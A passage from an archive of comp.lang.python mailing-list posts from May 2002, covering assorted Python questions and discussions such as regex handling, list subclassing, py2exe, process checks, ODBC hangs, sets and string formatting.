explicitness of Python's re > module--you have to import it to use it. I absolutely agree. Among other things, Python allows alternative implementations of RE, while Perl has just 1 standard (IIRC, they may have some alternative RE packages, for backwards compatibility or something). Furthermore, compiled regular expressions is a natural property of Python's implementation but I could not figure out how to do that in Perl (if it's possible at all (I seem to recall it was somehow but could not find a referenc)). Let me emphasize that I did NOT at all intend to show Perl's SUPERORITY. I said it was too strong a word. I just wanted to illustrate how Perl did things and that regex is "builtin" to the language. FWIW, I've read at least one published comparison of Perl vs. Python and the writer ended up picking Perl by a small margin and the greater number of turn-key features (larger set of builtins) was what tilted the scale. Anyway, I wrote to damn Perl, not praise it. With a conscious effort to avoid sarcasm, I thought the examples would speak for themselves -- in provoking a gag reflex, if nothing else. I certainly agree with all of Mark's comments and criticisms about the Perl examples. In particular, I never cared for Perl's notion of "default" operands, as I could never keep straight what the default was in different contexts. Finally, it was a careless omission on my part to imply that Python regex lacked the "{n,m}" pattern. Thanks to all who pointed it out. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From wilk at flibuste.net Thu May 30 03:49:58 2002 From: wilk at flibuste.net (William Dode) Date: Thu, 30 May 2002 09:49:58 +0200 Subject: Python @ Education: What are your problems? References: <3CF48E09.8C331FEA@gmx.de> <20020529124201.6c5805cc.wilk@flibuste.net> <3CF4FF81.1DDEA9EC@gmx.de> Message-ID: <20020530094958.5d421559.wilk@flibuste.net> Le Wed, 29 May 2002 18:19:13 +0200 Ingo Linkweiler ?crivait: > > standard library not homogeneous > > Can you give some examples? i speak about the name of the functions or methods, sometimes with _ sometimes not Telnet : read_all() File : readlines() Also it can be strange to explain that we use a built-in function like open to get an object. Why not use and object directly ? The popenxyz... i would like to see a more strong style guide : http://python.org/peps/pep-0008.html The naming conventions of Python's library are a bit of a mess, so we'll never get this completely consistent -- nevertheless, here are some guidelines. bye > > Ingo > > > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From aahz at pythoncraft.com Fri May 31 02:34:12 2002 From: aahz at pythoncraft.com (Aahz) Date: 31 May 2002 02:34:12 -0400 Subject: What does Python offer? References: Message-ID: In article , David K. Trudgett wrote: >On Thursday 2002-05-30 at 09:52:48 +0000, news wrote: >> >> At the same time, its evolution is directed by a "benevolent >> dictator," Guido van Rossum, which means you have only one >> implementation to target. > >This could start to look like a disadvantage if phrased slightly >differently... we're not saying that the whole Python edifice will >crumble if one man disappears, are we? I hope that's not what you >mean. Nobody knows. There isn't any official policy about what happens if Guido gets hit by a beer truck. OTOH, the infrastructure won't just crumble; the problems are all political, and there's no reason to believe (particularly now that PSF exists) that some solution can't be found. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From Chris.Barker at noaa.gov Thu May 16 14:59:08 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Thu, 16 May 2002 11:59:08 -0700 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <3CE16A13.309D0D14@kfunigraz.ac.at> <3CE21E01.F3CD9FD2@kfunigraz.ac.at> Message-ID: <3CE4017B.E40DE208@noaa.gov> Siegfried Gonzi wrote: > The above is the reason why I never will suggest to my friends to > install Linux (yesterday a collegaue got interested because he saw that > I installed successfully Linux; but it took me quite a long time to > convince him not to waste his life if he does not have any dire need for > a change). Don't get me wrong, in Windows I make click and a few minutes > later I work. I understand you have solved your problem, so I won't comment there, but I cna't help but take the bait you have set out: why have you chosen to install Python in your home directory rather than the standard location? Have you ever tried to do a custom install of Python (or any other software) on Windows in a way that was not intended by the writer of the installer? I'm sure you'd have a pretty hard time with that too! As a little windows vs. Linux example: I recently got a new Laptop from Dell with Win2k installed on it. I needed a dual-boot system, so I re-partitioned and installed Linux and re-installed Win2k. Installing Linux on this thing was harder than it had every been before for me (except the first time, with Slackware something, and an experimaental kernal that included support for my SCSI card). IT still wasn't hard, except that after installing, I needed to go to NVidia's web site an download the X-server, and then search the web for a config file that worked. I found this a bit frustrating, but then I went to re-install win2k: It installed just fine, but with a generic video driver. I tried to install the NVidea drivers, but I needed a newer version of directX or something, that I had to go to the microsoft web site to get. The ethernet card didn't work, so I had to install the driver for that off the Dell cd, before I could even start to download the updated DLL. That did not go smoothly, but I got it working. Then I managed to download the new DLL, and could finally install the Nvidia drivers, and got it all working. This was, infact, more of a pain that the Linux install! When you consider that Dell ships the machine with Windows, and officially supports it, I thought that was pretty pathetic. If I had bought the machine from a vendor that supported Linux (I would have if I any control over where I bought it), it would have run fine out-of-the-box, and they could have given me a custom install disk so that re-installs would have been painless. In general, I think Windows (and even Macs) appear easier not because they are easier, but because it is impossible or at least much more dificult to do the difficult things, so people don't even try. Try to install Window or MacOS on a machine sold by someone that does not support that OS on that hardware! -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From jslowery at hotmail.com Wed May 22 14:09:47 2002 From: jslowery at hotmail.com (macr0) Date: Wed, 22 May 2002 13:09:47 -0500 Subject: simple imputil example Message-ID: Can someone point me to a simple example using imputil? I just want to filter out specific modules and throw exceptions when people try to access them. From anthony_barker at hotmail.com Thu May 16 09:46:49 2002 From: anthony_barker at hotmail.com (Anthony_Barker) Date: 16 May 2002 06:46:49 -0700 Subject: SSLeay / Net::SSLeay / How to see who issued the x.509 cert on a web server... Message-ID: <899f842.0205160546.6de36d7c@posting.google.com> Perl has a module called Net::SSLeay that contains a method Net::SSLeay::get_peer_certificate($ssl); I think that this will allow the examination of a certificate on an https server. I want to get the issuer of the x.509 cert. Does anyone know of a comparable class in python? I investgated using curl or stunnel but didn't see a straight forward way of doing this. Thanks Anthony http://xminc.com/anthony/ From Grant_member at newsguy.com Thu May 30 15:38:36 2002 From: Grant_member at newsguy.com (Grant Griffin) Date: 30 May 2002 12:38:36 -0700 Subject: clearing subclassed lists/dicts References: Message-ID: In article , g2 at iowegian.com says... > >Hi All, > >I've gotten interested in subclassing lists and dictionaries, and that got me >wondering if there's an elegant way to clear the contents of the underlying >type. > ... > > >>> class L3(list): > ... def clear(self): > ... while self: > ... del(self[-1]) > ... > >>> l3 = L3() > >>> l3.append(1) > >>> l3.clear() > >>> l3 > [] > Here's a better one. (I'm not sure if it's "the ultimate", but it's not bad.) >>> class L4(list): ... def clear(self): ... del(self[:]) ... >>> l4 = L4() >>> l4.append(1) >>> l4 [1] >>> l4.clear() >>> l4 [] In the dictionary case, it looks like a dictionary's own "clear" method is the solution. head-sufficiently-slapped-ly y'rs, =g2 From theller at python.net Wed May 8 05:59:08 2002 From: theller at python.net (Thomas Heller) Date: Wed, 8 May 2002 11:59:08 +0200 Subject: [ANN] py2exe 0.3.3 released Message-ID: py2exe is a distutils extension to convert python scripts into windows exe-files (plus maybe a few dlls), able to run on computers without requiring a python installation. New in release 0.3.3: Fixed the broken ModuleFinder included in previous releases. Services now print a readable traceback to the eventlog (or the console if run with the --debug flag). Services' _svc_deps_ are now supported - thanks to Matthew King for the patches. py2exe should run again under Win98. Yasushi Masuda has translated the homepage page into Japanese: http://www.python.jp/Zope/articles/tips/py2exe . Download from the usual location: http://starship.python.net/crew/theller/py2exe/ Thomas From robin at jessikat.fsnet.co.uk Thu May 9 19:07:57 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Fri, 10 May 2002 00:07:57 +0100 Subject: article: MS in Peruvian open-source nightmare References: <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> Message-ID: In article , Huaiyu Zhu writes ..... > >This essay is so outstanding that it is worth the effort to translate into >any language in which legislations about technology are being written. > >Huaiyu absolutely! -- Robin Becker From noah at noah.org Tue May 14 02:54:23 2002 From: noah at noah.org (Noah Spurrier) Date: Mon, 13 May 2002 23:54:23 -0700 Subject: How do I check if a pid is running? References: <833cwvjsre.fsf@panacea.canonical.org> Message-ID: <006701c1fb14$2e4e5dd0$0400a8c0@saysyou> Yes, indeed, UNIX is a dark and grotty operating system. It's filled with things like this. What I find particularly amusing is the fact that while POSIX.2 defines a standard for a command line process status (ps), POSIX.1 does not define a standard for a system call to get process status. Thus it seems that the only portable way to get a process status is to do a system call to the 'ps' command line utility. The fact that nobody really fully complies with POSIX seems to make this whole notion of portability a cruel joke anyway. It looks like we are stuck with this for a long, long time. I can't imagine anyone coming out with a truly new OS. It's like the QWERTY keyboard. After a while you are committed and eventually society becomes stuck on a standard that was more of a historical accident that a work planning and engineering. But this is what makes UNIX more fun than Windows. I actually get quite a bit of pleasure at figuring this stuff out. Of course, that whole "kill (pid, 0)" thing turned out not to work very well anyway. It's very platform dependent. It worked on every platform except the one I needed it to work on. Yours, Noah ----- Original Message ----- From: "Kragen Sitaker" Newsgroups: comp.lang.python To: Sent: Monday, May 13, 2002 8:46 PM Subject: Re: How do I check if a pid is running? > "Noah" writes: > > Thanks, this seems to work. In fact the man page for kill > > says that signal 0 can be used to check the valifity of a pid. > > Of course! How logical! Just the other day I was thinking, "How can > I test whether or not a process exists?" The very first thing that > occurred to me was, "I wonder if the man page for kill(2) suggests a > way to do that?" > > Not. > > From sdm7g at Virginia.EDU Thu May 16 18:45:48 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Thu, 16 May 2002 18:45:48 -0400 (EDT) Subject: getting name of the function you're in In-Reply-To: Message-ID: On 15 May 2002, Bengt Richter wrote: > On Wed, 15 May 2002 14:59:55 -0600, "Andrew Dalke" wrote: > > >Richard Townsend: > >> try: > >> raise ZeroDivisionError > >> except ZeroDivisionError: > >> # Get the traceback object > >> tb = sys.exc_info()[2] > > > >As mentioned in this newsgroup in other threads, I've learned > >a bunch of old habits which need to change because of newer > >tricks in Python. > > > >sys._getframe() > > > Looks like no need for raising exception either: > > >>> import sys > >>> def foo(): > ... def inside_foo(): > ... return `sys._getframe().f_code`.split()[2] > ... return `sys._getframe().f_code`.split()[2],inside_foo() > ... > >>> foo() > ('foo', 'inside_foo') > Also, no need for the split() or the backquotes -- try instead: sys._getframe().f_code.co_name -- Steve M. From sollinge at mail1.sas.upenn.edu Tue May 14 15:55:05 2002 From: sollinge at mail1.sas.upenn.edu (Samantha) Date: 14 May 2002 19:55:05 GMT Subject: expect Message-ID: I want to automate downloading some info from the web that requires me to fill out a form using javascript. I believe expect is the answer, and I downloaded and installed a .deb package. Now I need some sort of a tutorial that tells me something more on the usage of this module. Doing this: >>> dir (expect) ['__builtins__', '__doc__', '__file__', '__name__', '_expect', 'popen', 'popen2', 'popen3'] shows me very few options that I can use. Is anyone aware of any sort of tutorial online that might help me? Thanks. -- -Samantha From dsavitsk at e-coli.net Thu May 9 17:00:36 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Thu, 09 May 2002 21:00:36 GMT Subject: odbc advice? References: Message-ID: if you are on Win32, why not use ADO or ADO.NET? -d "don" wrote in message news:abel0d$anh$1 at news.ycc.yale.edu... > I'm trying to update table in a SQL Server 2000 database. The following (and > other similar) code hangs Python about half of the time when I run it and > then, once hung, will hang every time until I reboot. Does anyone have any > tips on handling odbc connections in Python? I've been hunting around for a > while, but haven't found descriptions of hangs like this. My reference of > choice (Python Web Programming) tells me the ODBC driver isn't ready for > prime-time. I'm not sure I have any other options, though. Any help > appreciated. -Don > > ++++++++++++++++++++++++ > > import dbi, odbc > > conn = odbc.odbc('mydb') > > cur = conn.cursor() > > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > updateopinion=1""") > > > From aahz at pythoncraft.com Tue May 7 15:07:46 2002 From: aahz at pythoncraft.com (Aahz) Date: 7 May 2002 15:07:46 -0400 Subject: survey: is shelve broken? should it be fixed? References: Message-ID: In article , holger krekel wrote: > >i'd suggest something like > > shelve.returncopies=0 > >on a global module level. Every time we are >fixing "python semantics" rather than introducing new >features we should do it on the module level. > >These keyword-arguments like 'smart' are code-bloat >and scattered all over the code. Having a section >on top of a python script basically like > >assert(pythonversion >2.2.4) >if pythonversion < 2.3.0: > shelve.returncopies=0 > somemodule.somefeature=1 > >is just much nicer and encapsulated. +1 -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From claird at starbase.neosoft.com Wed May 8 15:51:42 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 8 May 2002 14:51:42 -0500 Subject: Python <-> Jython communication References: Message-ID: <626C61BD02064730.406F0040A7F3E0B1.FF08C5804551550D@lp.airnews.net> In article , Etienne Labuschagne wrote: . . . >I am still looking for a nice and easy solution for communicating between >Python and Jython. > >Here are my experiences so far: > >XML-RPC : can't get it to work from the Jython side, having problems with >especially sending pickled objects (the pickled string specifically) as >params >Soap : haven't tried it, afraid of same problems as above >Sockets : should work - lots of work to implement >Corba : sounds good, but have NO experience in it, lots of work >Pyro : seems like the solution, but does it work in Jython? > >Any other suggestions/comments. > >Assume that I have code that cannot run in Jython and that is why I must >still stick to Python in some areas. Assume that I have code that uses Java >libs and that is why I must stick to Jython in the other areas. Assume that >the code runs on the same machine (so no over the web talking needed). . . . I'm sympathetic. SOAP, XML-RPC, and Pyro *must* work, although I admit every time I try to use any of them I spend a lot of time straightening out configuration de- tails. My conclusion: what you ask is reasonable, and all these approaches are technically feasible. We ought to be able to help you achieve success with at least one. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From mwh at python.net Thu May 16 13:52:12 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 16 May 2002 17:52:12 GMT Subject: how to determine an 'open' string? References: Message-ID: holger krekel writes: > hello, > > with my replacement rlcompleter module i'd like to > have a *correct* check if a string is 'open'. > examples: You're going to have fun with strings containing spaces aren't you? Cheers, M. -- Richard Gabriel was wrong: worse is not better, lying is better. Languages and systems succeed in the marketplace to the extent that their proponents lie about what they can do. -- Tim Bradshaw, comp.lang.lisp From sholden at holdenweb.com Fri May 17 19:13:45 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 17 May 2002 19:13:45 -0400 Subject: Stupid string formatting question References: Message-ID: This wouldn't, by any chance, be an untested response would it? I submit that the parentheses will make no difference whatsover. In fact, you can put an extra pair in if you want! no-difference-between-x-and-(x)-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- "David K. Trudgett" wrote in message news:mailman.1021599694.32659.python-list at python.org... > On Friday 2002-05-17 at 01:19:59 -0000, Michael S. Fischer wrote: > > > Why can't I do this? > > > > def foo(x): > > # Do some operations on x yielding a and b > > return a, b > > > > print "a = %s, b = %s" % (foo(x)) > > Leave out the parentheses around foo(x): > > print "a = %s, b = %s" % foo(x) > > > David Trudgett > > From shalehperry at attbi.com Thu May 23 11:31:21 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 23 May 2002 08:31:21 -0700 (PDT) Subject: os.path.join() necessary? In-Reply-To: <3CECFCF3.2010207@thomas-guettler.de> Message-ID: > > I was suprised that I can use (dir + '/' + file) on windows. > Since my application will only run on windows and unix I won't > use os.path.join() > > > If you just want to join a directory and a file it is no problem, > but I store paths in a database. This would mean I would have to > transform the path to the current operating system each time I get > it from the database. > as pointed out a moment ago, does "dir + '/' + dir2 + '/' + file" work? Will it continue to work? If another admin or user sees the path, will they be confused by the format? Just letting it be seems like sloppy coding to me. From skip at pobox.com Mon May 20 09:27:42 2002 From: skip at pobox.com (Skip Montanaro) Date: Mon, 20 May 2002 08:27:42 -0500 Subject: finding a substring In-Reply-To: References: Message-ID: <15592.63950.255241.390334@12-248-41-177.client.attbi.com> >> line = sfile.readline(1024) ... >> errorval = MESSAGE.find(line) Assuming you intend to search for line in MESSAGE the second call is okay. Note, however, that the line variable is likely to have a trailing newline. You might want to strip() it first. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From jb at cascade-sys.com Fri May 17 08:16:21 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 05:16:21 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: Message-ID: <3CE4F495.A18A6378@cascade-sys.com> "Denis S. Otkidach" wrote: > On Fri, 17 May 2002, James J. Besemer wrote: > > JJB> > That's to complex. Maybe sets should be always immutable > JJB> like > JJB> > tuples? > JJB> > JJB> Python has clear precedent for doing so, in that strings, > JJB> tuples > JJB> and long integers all are immutable. > > Following these traditions we should have 2 types for sets: one > immutable but hashable (like tuple) and one mutable (like list). That would suit me just fine, though most would feel compelled to pick just one or the other. Right now, IIRC, lists and tuples are the ONLY pair of types that seem to come in a mutable and unmutable pair. Seems there's a good reason for this in their case. All the other basic types (numbers, strings, longs) are immutable and all the other aggregate types (dicts, files, modules, etc.) are mutable. You could further argue that we must have a immutable form of SETs, so they could serve as dictionary indices. What's the argument for having a mutable form, other than tuple has it? Let alone both? Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From shagshag13 at yahoo.fr Fri May 17 06:41:48 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 17 May 2002 03:41:48 -0700 Subject: Strange error in IDLE Message-ID: <409a56e2.0205170241.5e5bba2e@posting.google.com> Well i do that : ---- Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "copyright", "credits" or "license" for more information. IDLE 0.8 -- press F1 for help >>> def get_openingTag(node): """ """ global SPECIALS_CHARS #if node.nodeType == node.ELEMENT_NODE: tmp = node.toxml() tmp = remove_chars(tmp, SPECIALS_CHARS) opening_tag = tmp[:tmp.index('>')] + '>' return opening_tag ---- then press return type "get_openingTag(" and then it do that before i go further : ---- >>> Exception in Tkinter callback Traceback (most recent call last): File "D:\Python22\lib\lib-tk\Tkinter.py", line 1292, in __call__ return apply(self.func, args) File "D:\PYTHON22\Tools\idle\CallTips.py", line 51, in paren_open_event arg_text = get_arg_text(self.get_object_at_cursor()) File "D:\PYTHON22\Tools\idle\CallTips.py", line 148, in get_arg_text while doc[:1] in " \t\n": TypeError: 'in ' requires character as left operand ---- think there is a bug, no ??? From akuchlin at ute.mems-exchange.org Fri May 24 09:43:26 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 24 May 2002 13:43:26 GMT Subject: How Are Unlimited Precision Integers Accomplished? References: <7xbsb7zrlc.fsf@ruckus.brouhaha.com> Message-ID: In article , Uncle_Alias wrote: > So what fun things can we do with this? Anyone have an algorithm for > calculating pi? See Demo/scripts/pi.py in the Python source distribution. --amk From marcosalden at yahoo.com Sat May 4 05:07:20 2002 From: marcosalden at yahoo.com (MarcoSalden) Date: 4 May 2002 02:07:20 -0700 Subject: Command line parser/checker Message-ID: <5253ed8c.0205040107.144825e0@posting.google.com> Hello, I am developing an application that uses a Tkinter UI for command line input towards the application. I have separated the UI from the application logic and I need to parse the commandline input into commands with options for the application logic (UI and Logic separated via a so called 'Commander'). I defined a command line syntax as follows: []* [initialisación to Index

Hola!

initialisacin
Where the upside-down exclamation mark before "Hola!" and the accented "o" in initialisacion have simply disappeared!. Please help! I'm working in Spanish, and those characters are very important! Thanks, Andrew From cbrown at metservice.com Mon May 27 16:14:59 2002 From: cbrown at metservice.com (Colin Brown) Date: Tue, 28 May 2002 08:14:59 +1200 Subject: Infinite Loops in CGI (Windows)? References: Message-ID: <3cf293a6$1@news.nz.asiaonline.net> Hi Bjoern I have used "pskill" (part of "pstools" from www.sysinternals.com) to kill rogue system services. It may or may not work for you. os.system(r'c:\pstools\pskill PyApp > nul') Colin Brown PyNZ "Bjoern" wrote in message news:a5d863b1.0205270613.1c02cd2c at posting.google.com... > Hello, > > out of curiosity I just tried putting an infinite Loop into a CGI > Skript (served under Windows 2000 with Apache2). > > What suprised me a bit is that python kept on using 99% of the CPU, > even after I stopped Apache. Also I couldn't stop the process from the > Windows Task Manager, I only got 'Access denied' (I am Administrator). > > Is there any other way to clean up than rebooting the machine? Is > there a way at all to make shared hosting feasible? > > Thanks > > > Bjoern From pyth at devel.trillke.net Mon May 13 04:49:55 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 13 May 2002 10:49:55 +0200 Subject: currying at language level (was: Re: add_command) In-Reply-To: ; from aleax@aleax.it on Mon, May 13, 2002 at 08:34:38AM +0000 References: <5nxD8.33442$CN3.1163150@news2.tin.it> Message-ID: <20020513104955.C28033@prim.han.de> Alex Martelli wrote: > You can also curry in Python 1.5.2 should you need to -- it's just > a _little_ bit clunkier perhaps: > > def curry(func, *args, **kwds): > def curried(f=func, a=args, k=kwds): > return apply(f, a, k) > return curried Alex, what do you think about integrating the currying-concept into python's syntax like so: def normalfunc(arg1,arg2,arg3): pass curryfunc = normalfunc(arg1, *, arg3) and curryfunc would be a one-argument function [1]. I'm sure you can explain to me in concise words why this is the wrong thing (tm) :-) IMHO currying is a well-understood concept which would serve well at the language level. regards, holger [1] the '*' should and can be recognized by the parser to avoid *any* performance decreases for normal function calls. One may allow or enforce '***' to make it more visible. From martin at v.loewis.de Sat May 25 11:12:08 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 25 May 2002 17:12:08 +0200 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: Antaeus Feldspar writes: > Could the python interpreter be equipped with a mode that would allow > it to emulate past interpreters? No, that won't be possible. It is easy enough to install multiple versions of the interpreter, though. Regards, Martin From kragen at pobox.com Mon May 20 05:16:36 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 05:16:36 -0400 Subject: Call to gather more support for python from Industry leader... References: Message-ID: <834rh3rxfv.fsf@panacea.canonical.org> "Matthew Chong" writes: > I believe it's time we made effort in asking industry leader in supporting > this unique and lively python. Good languages have users. Bad languages have advocates. > The following rapport is needed by these companies if Python is to gain more > recognition and serious development.... > Visual Slickedit www.slickedit.com > Together Control Center www.togethersoft.com > PBuilder (If Borland consider the IDE for python) Python could benefit from more tool support, but I do not think that the right way to improve tool support is by asking other people to please write proprietary software to fill that gap. Instead, I think we should write free software that does that. > I will like to see website ending with com since it mean Python has become > immortal !! My limited experience is that .org web pages tend to be less ephemeral than .com ones. From bokr at oz.net Sat May 25 21:11:29 2002 From: bokr at oz.net (Bengt Richter) Date: 26 May 2002 01:11:29 GMT Subject: Dictionary checking References: <3CEFCDC4.67C1564E@stud.ntnu.no> Message-ID: On Sat, 25 May 2002 19:45:40 +0200, =?iso-8859-1?Q?Bj=F8rn?= Ove =?iso-8859-1?Q?Gr=F8tan?= wrote: >I'm building a dictionary with values from a file. > >for each key, I have an ID, Name and Alias It's hard to tell what you mean by key, but it sounds like you have some file with possible values of ID, Name, and Alias in each record with other fields, and perhaps you want to be able to look up the data in the other fields using Name or lacking that, Alias, and lacking that "do some error-handling", and you want to do this with a Python dictionary somehow, is that right? Or are you using ID as a key, and you wonder how to store the rest as a value associated with the ID key so you can later tell whether the rest has Name and/or Alias fields? Or what? What is the file format, and what do you want to use the dictionary for? To look up what with what? It'll be easy if you state requirements clearly ;-) >for some keys I have only ID and Name, some keys with >ID and Alias, some keys with all 3 and a few keys >with only a ID with no Name and no Alias. > >How can I check if Name and/or Alias contain anything. >If Name contains any string it's ok, but if not I want to >use the string value of Alias - and if not any value (space/blank) >of Alias I want to do some error-handling. > > >Also, I want to make some output with data combined from 2 dictionaries. >Does anyone have any examples on how to do this? > >>> print {}.update.__doc__ D.update(E) -> None. Update D from E: for k in E.keys(): D[k] = E[k] as Terry indicated. Regards, Bengt Richter From warlock at eskimo.com Sat May 4 03:37:07 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sat, 4 May 2002 00:37:07 -0700 Subject: degrees and radians. Message-ID: <3330ba.s35.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I am trying to get the math module to deal with degrees rather than radians. (that it deals with radians for the angular functions like sin() isn't mentioned in the docs, which was sort of an eyeopener :) I can't find any info on doing this. I can convert from-to degrees in the code calling the function, but that's a bit clunky. Any pointers to an FM to R? :) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE804+jd90bcYOAWPYRAt9KAKCuqeC4ozuXSaKZ5xY27Wv+k04QuQCcCrCZ WyichPnKgXo+GaDdAebsaeU= =h+vc -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From kragen at pobox.com Fri May 17 03:21:00 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 03:21:00 -0400 Subject: Beginner question References: Message-ID: <837km3xmsj.fsf@panacea.canonical.org> "Mats Holmberg" writes: > >>>import math > >>>cos(10) > Traceback (most recent call last): > File "", line 1, in ? > cos(10) > NameError: name 'cos' is not defined from math import cos There's also "from math import *", which is probably OK for the math module, but dodgy other times. From op73418 at mail.telepac.pt Fri May 17 13:47:42 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Fri, 17 May 2002 18:47:42 +0100 Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: On Sat, 18 May 2002 00:27:30 +1000, "Patrick" wrote: > >"James J. Besemer" wrote in message >news:mailman.1021636709.31088.python-list at python.org... >> [...] >> Laura's choice of a particularly subjective example actually underscores >> the point. Although there is a lot of inescapable subjectivity regarding >> ranking wines, a general consensus nevertheless emerged regarding a great >> number of "measurements". > >It's possible that this consensus emerges as a result of training, rather >than as a result of any quality inherent in the wine. Or, on second >thoughts, both: An aspiring wine taster learns to recognise and appreciate >the very qualities that an expert has determined to be "good". To some >extent, the choice of these qualities is arbitrary, but once they've been >adequately described and considered authoritative, they can be recognised >and, to some extent, measured. Of course that says very little about whether >the tasters are recognising "quality", rather than "a quality". The latter >seems far more likely to me (which in no way undermines the value of refined >taste). > > This type of reasoning is common in many schools of literary criticism. e.g. The supposed aesthetic supremacy of a given author, say Shakespeare, is more a product of historical conditions than anything else. In other words, any supposed aesthetic supremacy is more of a diktat than anything else, and the literary critics that disagree have their visions distorted. I disagree profoundly with this. But, and even more importantly, and looking at the Shakespeare case, the fact that he is read, studied and represented everywhere, that sucessive generations have hailed him as a genius, that the best authors since Shakespeare inspire themselves, directly or indirectly, in him, is for me proof enough of Shakespeare's supremacy. Of course if you tell me that this is all complete bull, and that the real story lies in some of elitistic/aristocratic conspiracy, then I will not even bother to refute you. These type of statements, as also mine above, are "unscientific", in the sense that they are unverifiable by objective (scientific) means - insert pithy quote of K. Popper here. But as I said above, I bet that the trueth lies - well, you know where. Best regards, Gon?alo Rodrigues From stephen at xemacs.org Thu May 9 06:05:37 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 09 May 2002 19:05:37 +0900 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis writes: Martin> It would break introspective tools who suddenly find Martin> Unicode objects in attribute dictionaries. What Unicode objects? They find ordinary strings that are mandated to be encoded in UTF-8. The tools only need to be 8-bit clean, and not do anything that involves the assumption that #characters == #octets. And _that_ only affects people using non-ASCII identifiers, which might be OK since it is an extension. We do the migration to Unicode objects later, at the same time that you would have done it anyway. In the meantime, this fits right in with the kind of "backwards compatibility" that PEP 263 is all about. Except that people who want to look at non-ASCII identifiers must work in UTF-8 environments and not their local encoding. But that is OK because non-ASCII identifiers are an extension. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From kragen at pobox.com Sat May 25 05:19:25 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 05:19:25 -0400 Subject: Destructor References: Message-ID: <838z68lh42.fsf@panacea.canonical.org> Peter writes: > In other words: you can't write portable programs based on what a > particular implementation does or does not do.... However, this is > a very important issue for any language defined by a formal > document. For example, the C++ standard ... One must consult the > standard to know what is and is not portable behavior. My experience with C++ was that the standard (or, anyway, the draft standard) was not very helpful for those who want to know what is and is not portable behavior, because no implementation implemented the standard correctly. I heard a rumor that now, four years after the standard was ratified, there might be a compiler that complies with it --- is that true? From berger at versahb.rus.uni-stuttgart.de Fri May 10 07:55:14 2002 From: berger at versahb.rus.uni-stuttgart.de (Holger Berger) Date: Fri, 10 May 2002 11:55:14 +0000 (UTC) Subject: Building Python on Cray T3E References: Message-ID: In article , Kalle Svensson wrote: > > Nope, not yet. First I had to disable shared libraries. After that, > I've had some linking trouble. I'm getting close now, though. > Basically, I have a running Python without any useful modules. > > By the way, I'm on a Cray J90se with UNICOS 10.0.0.3. I have no idea > how (dis)similar this is to a T3E. Anyone? > A bit of topic... When reading about Python on 'uncommon plattforms': python2.2 works fine on NEC SX vector-series running SUPER-UX. Tested on SX-5 and SX-6, with SUPER-UX 11.0 and 12.0. Also without shared libraries, with lots of code built into the interpreter. regards Holger From fperez528 at yahoo.com Wed May 8 00:49:38 2002 From: fperez528 at yahoo.com (Fernando Perez) Date: Tue, 07 May 2002 22:49:38 -0600 Subject: isinstance() not recognizing an instance correctly 